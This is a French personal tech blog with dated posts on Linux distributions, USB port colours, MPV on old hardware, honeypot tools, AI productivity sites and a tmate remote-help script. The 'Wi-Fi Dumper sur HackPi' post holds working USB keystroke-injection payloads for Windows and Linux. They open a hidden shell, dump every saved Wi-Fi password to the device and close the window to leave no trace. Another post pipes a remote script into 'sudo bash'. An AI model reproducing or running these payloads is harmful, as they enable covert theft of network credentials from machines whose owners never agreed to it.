lundi 26 octobre 2026

KDE-PRO 2026 Edition #Debian #Plasma #Deepin

TN365 KDE Pro 2026 est une distribution Linux moderne et professionnelle conçue pour la productivité, l'administration système, le développement, la virtualisation et une utilisation quotidienne du bureau.

Basée sur une fondation Debian stable et propulsée par KDE Plasma, elle allie performance, élégance et simplicité d'utilisation. La distribution inclut le noyau 7.2, OnlyOffice 10, une sélection d'outils Deepin, des utilitaires système avancés, des outils réseau, la prise en charge multimédia et une expérience de bureau soigneusement intégrée.

TN365 KDE Pro 2026 propose une personnalisation complète du système, incluant le chargeur de démarrage, l'installateur, les fonds d'écran et l'environnement de bureau, pour une expérience utilisateur soignée et cohérente, du démarrage à l'installation.

Conçue comme une station de travail prête à l'emploi, TN365 KDE Pro 2026 minimise la configuration post-installation et offre un environnement complet aux professionnels, passionnés, créateurs et utilisateurs avancés.

Rapide. Moderne. Productive. Prête à être déployée.

FonctionnalitésBureau KDE Plasma 6.8
Noyau Linux 7.2
Suite OnlyOffice 10
Installation graphique TN365 Calamares
Gestionnaire de fichiers Deepin, Terminal Deepin et autres outils
Stabilité basée sur Debian 13
Outils de productivité préconfigurés
Firefox, Thunderbird et plus de 60 outils système
Utilitaires de réseau avancés


Si vous préférez une version Debian 13 TN365 plus légère sur XFCE choississez ZyphorOS-Remix 2026

Sloth OS #Gamer #Jeux #Fedora #Atomic

 Sloth OS est un système d'exploitation Linux gratuit pour les utilisateurs Windows, offrant une excellente prise en charge des jeux. Tout se fait via des outils graphiques conviviaux : installation, mises à jour, sauvegardes et pilotes. Vous n'avez jamais besoin de terminal.


Les programmes et jeux Windows se lancent d'un simple double-clic, avec ou sans Steam. Sloth OS configure automatiquement les paramètres de chaque programme.

Basé sur Fedora Atomic (Universal Blue) et KDE Plasma, il propose des mises à jour en arrière-plan. En cas de problème, vous pouvez revenir à la version précédente depuis le menu de démarrage.

L'installateur est disponible en 50 langues, peut être installé en parallèle de Windows et permet de chiffrer le disque.


Maze Linux #Arch

Distribution Linux basée sur Arch et axée sur la sécurité, la confidentialité et l'intelligence artificielle (IA). Livré avec un bureau KDE Plasma personnalisé et renforcé, doté d'outils de défense et d'anonymisation préinstallés et préconfigurés : « Maze Linux 2026.10.26 - Qlam 2, Maze Wallpaper et jeux prêts à l'emploi.
Points forts : Qlam 2.0 - un nouveau service antivirus avec protection en temps réel qui vous avertit sans vous gêner ; Maze Wallpaper - fonds d'écran animés, vos propres vidéos et un mode multimédia avec paroles synchronisées ; Maze Store - toutes les applications Maze au même endroit : parcourez-les, découvrez leurs fonctionnalités et installez-les depuis une seule fenêtre ; maze-gaming - compilation plus rapide des shaders Steam, caches de shaders plus importants, GameMode, MangoHud et Gamescope prêts à l'emploi ; Maze Connect 1.5 - déverrouillez l'ordinateur et autorisez les commandes sudo avec l'empreinte digitale de votre téléphone ; Maze AI 1.23 - interface repensée, barre de commandes Quick Ask, personnalités et règles de commandes ; widget d'utilisation de l'IA - limites de planification pour Claude, Codex, Gemini, Copilot et OpenCode dans le panneau ; deuxième mise à jour de sécurité. » Maze Cloak, Maze Guard, HazeDrop, Haze, Entropy Shield, Maze AI, Qlam, Linux Chan AI, Secure Boot et le programme d'installation, incluant un correctif pour l'élévation de privilèges dans Maze Cloak.




dimanche 25 octobre 2026

#USB Toutes les couleurs des ports USB expliquées en 14 minutes @ryxacore

@ryxacore



1. La forme du connecteur (Le Type)

La forme détermine la compatibilité physique avec vos appareils.
• USB-A : Le connecteur rectangulaire classique, large et non réversible. Présent partout (PC, chargeurs, clés USB).
• USB-B : De forme carrée avec des coins biseautés. Principalement utilisé pour les périphériques volumineux comme les imprimantes et les scanners.
• Mini-USB : Petit connecteur en forme de trapèze. Répandu dans les années 2000 (anciens appareils photo, lecteurs MP3), il est aujourd'hui obsolète.
• Micro-USB : Très fin avec un fond plat. Il a longtemps équipé les anciens smartphones Android et disques durs externes avant l'arrivée du Type-C.
• USB-C : Le standard moderne. Petit, ovale et entièrement réversible (se branche dans les deux sens). Il remplace progressivement tous les autres.

2. Les vitesses de transfert (La Norme)

La forme ne définit pas la vitesse : un port USB-A ou USB-C peut embarquer des technologies de générations différentes.

Norme USB Appellation commerciale Débit maximal théorique Connecteurs associés
USB 2.0 High Speed 480 Mbit/s A, B, Mini, Micro
USB 3.2 Gen 1 (ex-3.0) SuperSpeed 5 Gbit/s A, B, C
USB 3.2 Gen 2 (ex-3.1) SuperSpeed+ 10 Gbit/s A, C
USB 3.2 Gen 2x2 SuperSpeed++ 20 Gbit/s C uniquement
USB4 USB4 40 à 80 Gbit/s C uniquement


3. La signification des couleurs

Sur les ports au format USB-A, la couleur de la languette interne en plastique sert souvent de repère visuel (bien que non standardisée à 100% par l'USB-IF) :
• Blanc : USB 1.0 ou 1.1 (obsolète, vitesses très lentes).
• Noir : USB 2.0 (idéal pour les souris et claviers qui demandent peu de ressources).
• Bleu : USB 3.0 / USB 3.2 Gen 1 (vitesse rapide pour clés USB et disques durs).
• Turquoise / Cyan : USB 3.2 Gen 2 (très haute vitesse, 10 Gbit/s).
• Jaune ou Orange : Port "Always On". Reste alimenté en électricité même lorsque l'ordinateur est éteint ou en veille pour charger un smartphone.
• Rouge : Indique généralement un port à très haute vitesse (USB 3.2) ou un port à forte puissance de charge continue.

lundi 19 octobre 2026

NULIGN-MX #jeux #linux

sourceforge.net/projects/nulign-mx1-0/

Basée sur MX-Linux (debian) 

Distribution Linux optimisée pour le jeu, avec outils de gestion et d'optimisation des performances intégrés et prêts à l'emploi.

- Inclut Lutris 0.5.19, WINE 11.0 et GE-Proton 11-7 (avec lanceur UMU, Gamescope et MangoHud).

- Inclut LACT, PSensor, QDiskInfo et intel-undervolt (activable via la commande « undervolt -h » dans le terminal).

- Thème de bureau personnalisé avec icônes YAMIS.

Fonctionnalités

  • Compatibilité maximale avec le matériel récent et ancien
  • Léger
  • Fonctionnel entièrement hors ligne

lundi 5 octobre 2026

X-Mint basée sur Linux Mint

X-Mint

Offre des fonctionnalités supplémentaires, une plus grande facilité d'utilisation, la personnalisation des menus simplifiés, prévisions météo avec icône de la barre d'état système...

lundi 28 septembre 2026

Récupération d'un portable Compaq 2Go avec Pentium T2330 + MPV pour Youtube

Lilidog

Lilidog Linux est une distribution légère et complète basée sur Debian stable avec Openbox et Tint2.

ou

Besgnulinux (version Openbox passe bien)

Commandes Intallation MPV et Lecture de videos / Youtube

Extension pour forcer la lecture sur un format plus ancien mieux géré par une vielle machine :

# installation
sudo apt install mpv yt-dlp
# lecture
mpv "URL_de_la_video"

Le glisser-déposer d'une URL YouTube directement dans la fenêtre de mpv fonctionne parfaitement et lancera la vidéo instantanément.
Le fichier mpv.desktop sur le bureau doit avoir les permission en exécutable et contient quelque chose comme :
[Desktop Entry]
Type=Application
Name=mpv Media Player
Name[ca]=Reproductor multimèdia mpv
Name[cs]=mpv přehrávač
Name[da]=mpv-medieafspiller
Name[fr]=Lecteur multimédia mpv
Name[ja]=mpv メディアプレイヤー
Name[pl]=Odtwarzacz mpv
Name[ru]=Проигрыватель mpv
Name[tr]=mpv Ortam Oynatıcı
Name[zh_CN]=mpv 媒体播放器
Name[zh_TW]=mpv 媒體播放器
GenericName=Multimedia player
GenericName[cs]=Multimediální přehrávač
GenericName[da]=Multimedieafspiller
GenericName[fr]=Lecteur multimédia
GenericName[ja]=マルチメディアプレイヤー
GenericName[ru]=Мультимедийный проигрыватель
GenericName[tr]=Çoklu ortam oynatıcı
GenericName[zh_CN]=多媒体播放器
GenericName[zh_TW]=多媒體播放器
Comment=Play movies and songs
Comment[ca]=Reproduïu vídeos i cançons
Comment[cs]=Přehrává filmy a hudbu
Comment[da]=Afspil film og sange
Comment[de]=Filme und Musik abspielen
Comment[es]=Reproduzca vídeos y canciones
Comment[fr]=Lire des vidéos et des musiques
Comment[ja]=映画や音楽を再生する
Comment[it]=Lettore multimediale
Comment[pl]=Odtwarzaj filmy i muzykę
Comment[ru]=Воспроизведение фильмов и музыки
Comment[tr]=Filmleri ve şarkıları oynatın
Comment[zh_CN]=播放电影和歌曲
Comment[zh_TW]=播放電影和歌曲
Icon=mpv
TryExec=mpv
Exec=mpv --player-operation-mode=pseudo-gui -- %U
Terminal=false
Categories=AudioVideo;Audio;Video;Player;TV;
MimeType=application/ogg;application/x-ogg;application/mxf;application/sdp;application/smil;application/x-smil;application/streamingmedia;application/x-streamingmedia;application/vnd.rn-realmedia;application/vnd.rn-realmedia-vbr;audio/aac;audio/x-aac;audio/vnd.dolby.heaac.1;audio/vnd.dolby.heaac.2;audio/aiff;audio/x-aiff;audio/m4a;audio/x-m4a;application/x-extension-m4a;audio/mp1;audio/x-mp1;audio/mp2;audio/x-mp2;audio/mp3;audio/x-mp3;audio/mpeg;audio/mpeg2;audio/mpeg3;audio/mpegurl;audio/x-mpegurl;audio/mpg;audio/x-mpg;audio/rn-mpeg;audio/musepack;audio/x-musepack;audio/ogg;audio/scpls;audio/x-scpls;audio/vnd.rn-realaudio;audio/wav;audio/x-pn-wav;audio/x-pn-windows-pcm;audio/x-realaudio;audio/x-pn-realaudio;audio/x-ms-wma;audio/x-pls;audio/x-wav;video/mpeg;video/x-mpeg2;video/x-mpeg3;video/mp4v-es;video/x-m4v;video/mp4;application/x-extension-mp4;video/divx;video/vnd.divx;video/msvideo;video/x-msvideo;video/ogg;video/quicktime;video/vnd.rn-realvideo;video/x-ms-afs;video/x-ms-asf;audio/x-ms-asf;application/vnd.ms-asf;video/x-ms-wmv;video/x-ms-wmx;video/x-ms-wvxvideo;video/x-avi;video/avi;video/x-flic;video/fli;video/x-flc;video/flv;video/x-flv;video/x-theora;video/x-theora+ogg;video/x-matroska;video/mkv;audio/x-matroska;application/x-matroska;video/webm;audio/webm;audio/vorbis;audio/x-vorbis;audio/x-vorbis+ogg;video/x-ogm;video/x-ogm+ogg;application/x-ogm;application/x-ogm-audio;application/x-ogm-video;application/x-shorten;audio/x-shorten;audio/x-ape;audio/x-wavpack;audio/x-tta;audio/AMR;audio/ac3;audio/eac3;audio/amr-wb;video/mp2t;audio/flac;audio/mp4;application/x-mpegurl;video/vnd.mpegurl;application/vnd.apple.mpegurl;audio/x-pn-au;video/3gp;video/3gpp;video/3gpp2;audio/3gpp;audio/3gpp2;video/dv;audio/dv;audio/opus;audio/vnd.dts;audio/vnd.dts.hd;audio/x-adpcm;application/x-cue;audio/m3u;
X-KDE-Protocols=ftp,http,https,mms,rtmp,rtsp,sftp,smb,srt,rist,webdav,webdavs
StartupWMClass=mpv
Keywords=mpv;media;player;video;audio;tv;

Wi-Fi Dumper sur HackPi

Sur windows :

import time

import usb_hid

from adafruit_hid.keyboard import Keyboard

from adafruit_hid.keycode import Keycode

from adafruit_hid.keyboard_layout_win_fr import KeyboardLayoutFR # Clavier AZERTY


# Initialisation du clavier

kbd = Keyboard(usb_hid.devices)

layout = KeyboardLayoutFR(kbd)


def press_combo(key1, key2):

    kbd.press(key1)

    kbd.press(key2)

    time.sleep(0.1)

    kbd.release_all()

    time.sleep(0.5)


def envoyer_commande(texte):

    layout.write(texte)

    time.sleep(0.1)

    kbd.send(Keycode.ENTER)

    time.sleep(0.4)


# --- DÉBUT DE L'EXTRACTION ---

# 1. Attente de sécurité après le branchement USB

time.sleep(4)


# 2. Ouvrir la boîte de dialogue "Exécuter" (Win + R)

press_combo(Keycode.GUI, Keycode.R)

time.sleep(0.8)


# 3. Ouvrir PowerShell en arrière-plan et de manière discrète

# -WindowStyle Hidden permet de masquer rapidement la fenêtre pour rester discret

envoyer_commande("powershell -WindowStyle Hidden")

time.sleep(1.5)


# 4. Commande PowerShell pour extraire les mots de passe Wi-Fi et les enregistrer sur le HackyPi

# Le script cherche un lecteur USB contenant un dossier ou nommé 'HACKYPI' pour y écrire 'wifi_passwords.txt'

commande_payload = (

    "$drive = (Get-Volume | Where-Size -FilterScript {$_.DriveLetter -and ($_.FileSystemLabel -eq 'HACKYPI' -or $_.FriendlyName -like '*HackyPi*')}).DriveLetter;"

    "if (-not $drive) { $drive = (Get-WMIObject Win32_Volume | Where-Object {$_.DriveType -eq 2} | Select-Object -First 1).DriveLetter };"

    "$log = \"${drive}:\\wifi_passwords.txt\";"

    "(netsh wlan show profiles) | Select-String '\\:(.+)$' | ForEach-Object { $name = $_.Matches.Groups[1].Value.Trim(); "

    "if ($name) { $pass = (netsh wlan show profile name=$name key=clear) | Select-String 'Contenu de la cl' | ForEach-Object { $_.Matches.Groups -replace '.*:\\s*', '' }; "

    "if (-not $pass) { $pass = (netsh wlan show profile name=$name key=clear) | Select-String 'Key Content' | ForEach-Object { $_.Matches.Groups -replace '.*:\\s*', '' } }; "

    "\"SSID: $name | Password: $pass\" >> $log } }; exit"

)


# 5. Injection et exécution de la commande

envoyer_commande(commande_payload)

Sur Linux être root/admin :
import time
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
from adafruit_hid.keyboard_layout_win_fr import KeyboardLayoutFR # Clavier AZERTY

# Initialisation du clavier
kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayoutFR(kbd)

# --- CONFIGURATION ---
MOT_DE_PASSE_SUDO = "votre_mot_de_passe"  # REQUIS sous Linux pour lire les clés de sécurité

def press_combo(key1, key2, key3=None):
    kbd.press(key1)
    kbd.press(key2)
    if key3:
        kbd.press(key3)
    time.sleep(0.1)
    kbd.release_all()
    time.sleep(0.5)

def envoyer_commande(texte):
    layout.write(texte)
    time.sleep(0.1)
    kbd.send(Keycode.ENTER)
    time.sleep(0.4)

# --- DÉBUT DE L'EXTRACTION ---
time.sleep(4) # Attente après le branchement USB

# 1. Ouvrir le terminal Linux (Ctrl + Alt + T)
press_combo(Keycode.CONTROL, Keycode.ALT, Keycode.T)
time.sleep(1.5)

# 2. Trouver dynamiquement la lettre de volume de la carte SD du HackyPi (nommée HACKYPI)
# Cette commande cherche le point de montage de la clé USB pour savoir où écrire le fichier de log.
commande_trouver_cle = "SD_PATH=$(df | grep -i 'HACKYPI' | awk '{print $6}')"
envoyer_commande(commande_trouver_cle)

# Fallback au cas où la clé n'est pas encore montée graphiquement (écriture dans /tmp)
envoyer_commande("if [ -z \"$SD_PATH\" ]; then SD_PATH='/tmp'; fi")

# 3. Commande d'extraction de tous les mots de passe stockés par NetworkManager
# On parcourt chaque fichier de configuration et on extrait le SSID (nom) et la clé PSK (mot de passe)
payload_linux = (
    "sudo bash -c 'echo \"--- Réseaux Wi-Fi Extraits ---\" > \"$SD_PATH/wifi_passwords_linux.txt\"; "
    "for f in /etc/NetworkManager/system-connections/*; do "
    "if [ -f \"$f\" ]; then "
    "ssid=$(grep -E \"^id=\" \"$f\" | cut -d= -f2); "
    "psk=$(grep -E \"^psk=\" \"$f\" | cut -d= -f2); "
    "if [ ! -z \"$psk\" ]; then echo \"SSID: $ssid | Mot de passe: $psk\" >> \"$SD_PATH/wifi_passwords_linux.txt\"; fi; "
    "fi; done'"
)

# 4. Envoi de la commande d'extraction
envoyer_commande(payload_linux)
time.sleep(1)

# 5. Injection du mot de passe sudo pour valider la lecture des fichiers protégés
envoyer_commande(MOT_DE_PASSE_SUDO)
time.sleep(2)

# 6. Nettoyage : Fermer le terminal pour ne laisser aucune trace visible
envoyer_commande("exit")

Script MicroPython : Installation native APT + Flatpak sur le HackPi

import time

import usb_hid

from adafruit_hid.keyboard import Keyboard

from adafruit_hid.keycode import Keycode

from adafruit_hid.keyboard_layout_win_fr import KeyboardLayoutFR # Layout AZERTY


# Initialisation du clavier

kbd = Keyboard(usb_hid.devices)

layout = KeyboardLayoutFR(kbd)


# --- CONFIGURATION ---

MOT_DE_PASSE_SUDO = "votre_mot_de_passe" # Laissez vide "" si vous préférez le taper vous-même


# Applications APT classiques (requis pour installer flatpak lui-même)

LOGICIELS_APT = "curl git flatpak" 


# Applications Flatpak (Utilisez les identifiants uniques de Flathub)

# Exemple : Spotify, Discord, et LibreOffice

LOGICIELS_FLATPAK = "com.spotify.Client com.discordapp.Discord org.libreoffice.LibreOffice"


def press_combo(key1, key2, key3=None):

    kbd.press(key1)

    kbd.press(key2)

    if key3:

        kbd.press(key3)

    time.sleep(0.1)

    kbd.release_all()

    time.sleep(0.5)


def envoyer_commande(texte):

    layout.write(texte)

    time.sleep(0.1)

    kbd.send(Keycode.ENTER)

    time.sleep(0.5)


# --- DÉBUT DE L'AUTOMATISATION ---

time.sleep(3) # Attente après branchement USB


# 1. Ouverture du terminal (Ctrl + Alt + T)

press_combo(Keycode.CONTROL, Keycode.ALT, Keycode.T)

time.sleep(1.5)


# 2. Mise à jour APT et installation du gestionnaire Flatpak

envoyer_commande("sudo apt update && sudo apt install -y " + LOGICIELS_APT)

if MOT_DE_PASSE_SUDO:

    envoyer_commande(MOT_DE_PASSE_SUDO)

    time.sleep(15) # Temps d'attente pour l'installation d'APT et de Flatpak


# 3. Ajout du dépôt officiel Flathub

envoyer_commande("flatpak remote-add --if-not-exists flathub https://flathub.org")

time.sleep(2)


# 4. Installation massive des applications Flatpak (-y pour valider automatiquement)

# L'option --noninteractive évite que Flatpak ne demande des confirmations de permissions

commande_flatpak = f"flatpak install -y --noninteractive flathub {LOGICIELS_FLATPAK}"

envoyer_commande(commande_flatpak)


# Fin du script


lundi 21 septembre 2026

#signaler une dégradation environnementale #depots #sauvages#dechets

sentinellesdelanature.fr/signaler.html

/Android - /Apple

Sentinelles de la Nature est une plateforme participative de veille écologique créée par le mouvement France Nature Environnement pour signaler les dégradations environnementales et valoriser les actions positives.

dimanche 13 septembre 2026

Film #apiculture et #honeypot

Films

Ce soir

Second Tour

a revoir

Oklahoma Honey

The beekeeper

Honneypots

Un honeypot (ou « pot de miel ») sous Linux est une méthode de défense active qui consiste à déployer un système ou un service volontairement vulnérable. Son but est d'attirer les cyberattaquants, de détecter les intrusions au plus tôt et d'analyser leurs méthodes sans mettre en danger votre infrastructure de production. En fonction de vos objectifs (apprentissage, surveillance de réseau ou recherche), plusieurs outils open source s'imposent comme des références sur Linux.
github.security.telekom.com/honeypot.html - www.geeek.org/t-pot-honeypot-opensource-docker/

bruteforce.gr/honeydrive/

cowrie.org

github.com/stricaud/dionaea - dionaea.readthedocs.io - nerdtek.fr/dionaea-le-honeypot-qui-capture-les-malwares/

github.com/desaster/kippo - bruteforce.gr/kippo-graph

kojoney.sourceforge.net

github.com/telekom-security/tpotce

Autres

www.honeyd.org

www.honeynet.org

github.com/radareorg/radare2

blog.malwaremustdie.org

www.sysdig.com


Travailler avec une IA

www.notion.com/fr/product/ai se baser sur vos propres données, notes et documents professionnels ou personnels pour travailler à votre place. @louattal - @roxanne.beaumont - @KreaCity


zapier.com agit comme un chef d'orchestre qui fait communiquer vos logiciels de manière intelligente.


gamma.app/fr outil d'intelligence artificielle conçu pour créer automatiquement des présentations (slides), des documents visuels et des pages web en quelques secondes à partir d'une simple idée ou d'un texte.

www.beautiful.ai

otter.ai transcription automatique de la parole en texte et la prise de notes de réunion.

ticnote.com

fireflies.ai enregistrer, retranscrire mot à mot, résumer et analyser toutes vos conversations.

get.mem.ai se charge de tout lier, classer et retrouver de manière contextuelle.

www.copy.ai rédaction de contenus marketing, la création de textes publicitaires (copywriting) et l'automatisation des processus de vente.

www.shortwave.com transformer votre boîte Gmail en un espace de travail ultra-productif.


writer.com


surferseo.com

www.adcreative.ai

www.feedhive.com


monica.im


www.limitless.ai


www.tealhq.com


www.jasper.ai

www.flexhire.com


Détection de contennu généré par l'intelligence artificielle / Faux :

www.pangram.com

sloptotal.com

git clone https://github.com/pablocaeg/sloptotal.git

cd sloptotal

python3.11 -m venv venv && source venv/bin/activate

pip install --upgrade pip && pip install -r requirements.txt

./start.sh

mardi 1 septembre 2026

Prévoir une sauvegarde de l'image système de base en cas de réinstallation ou duplication

curl -FsSL https://krnet.it | sudo bash
sudo eggs produce --cuckoo

aller chercher l'image dans /home/eggs/

#Assistance suite #RPI3 en 2026 Raccourci clavier "Bouton Panique" dans Sway, couplé à une interface visuelle épurée dans le terminal pour 1 #PMAD

 Étape 1 : S'assurer que tmate est installé

Si ce n'est pas déjà fait, ouvrez votre terminal et installez l'utilitaire :
bash
sudo apt update && sudo apt install tmate
Utilisez le code avec précaution.

Étape 2 : Créer le script "Bouton Panique" (SOS)
Nous allons créer un petit script qui lance tmate, attend que la connexion sécurisée s'établisse, puis affiche le lien d'assistance de manière géante et très claire pour le novice.
  1. Créez et ouvrez le fichier du script :
    bash
    micro ~/sos-depannage.sh
    
    Utilisez le code avec précaution.
  2. Collez l'intégralité du code suivant à l'intérieur :
bash
#!/bin/bash
clear
echo "=================================================="
echo "    DÉMARRAGE DE L'ASSISTANCE À DISTANCE (SOS)   "
echo "=================================================="
echo "Veuillez patienter quelques secondes pendant la connexion..."
echo ""

# Lance tmate en arrière-plan
tmate -F &
sleep 3

# Récupère le lien web sécurisé
WEB_LINK=$(tmate display -p '#{tmate_web}')

clear
echo "=================================================="
echo "              CONNEXION RÉUSSIE !                 "
echo "=================================================="
echo ""
echo "Pour que je puisse vous aider à distance, veuillez"
echo "copier et m'envoyer ce lien par SMS ou Teams :"
echo ""
echo "👉 $WEB_LINK"
echo ""
echo "=================================================="
echo "⚠️  Ne fermez pas cette fenêtre tant que le"
echo "   dépannage n'est pas terminé."
echo "=================================================="

# Maintient la fenêtre ouverte
read -p "Appuyez sur ENTRÉE uniquement pour couper l'accès..."
killall tmate
Utilisez le code avec précaution.
  1. Sauvegardez (Ctrl+S) et quittez (Ctrl+Q).
  2. Rendre le script exécutable (Crucial) :
    bash
    chmod +x ~/sos-depannage.sh
    
    Utilisez le code avec précaution.

Étape 3 : Créer le raccourci visuel dans Sway
Maintenant, nous allons lier ce script à un raccourci clavier mémorable dans votre fichier ~/.config/sway/config. Nous allons utiliser la combinaison Touche Windows + F1 (la touche d'aide universelle).
Ouvrez votre fichier de configuration et ajoutez cette ligne tout en bas :
text
# BOUTON SOS : Lance l'assistance à distance dans une fenêtre flottante géante
bindsym $mod+F1 exec foot -T "SOS - Assistance à Distance" -e ~/sos-depannage.sh
Utilisez le code avec précaution.
(L'option -T donne un titre rassurant à la fenêtre du terminal foot pour que le novice sache exactement ce qui se passe).

🚀 Comment ça marche pour le novice en cas de pépin ?
  1. Le novice rencontre un problème et vous appelle.
  2. Vous lui dites : "Appuie sur la touche Windows et la touche F1 en même temps."
  3. Une fenêtre de terminal s'ouvre instantanément au milieu de son écran.
  4. Moins de 3 secondes plus tard, un message en français lui affiche son lien personnel (ex : https://tmate.io).
  5. Le novice fait un clic droit sur le lien, choisit "Copier", et vous l'envoie sur Microsoft Teams.
  6. De votre côté, vous cliquez sur ce lien depuis votre propre PC (Windows/Mac/Linux) : vous accédez immédiatement à son système pour le réparer en temps réel !
  7. Une fois terminé, le novice appuie sur Entrée et la fenêtre se ferme, coupant totalement votre accès pour garantir sa vie privée.

Archives du blog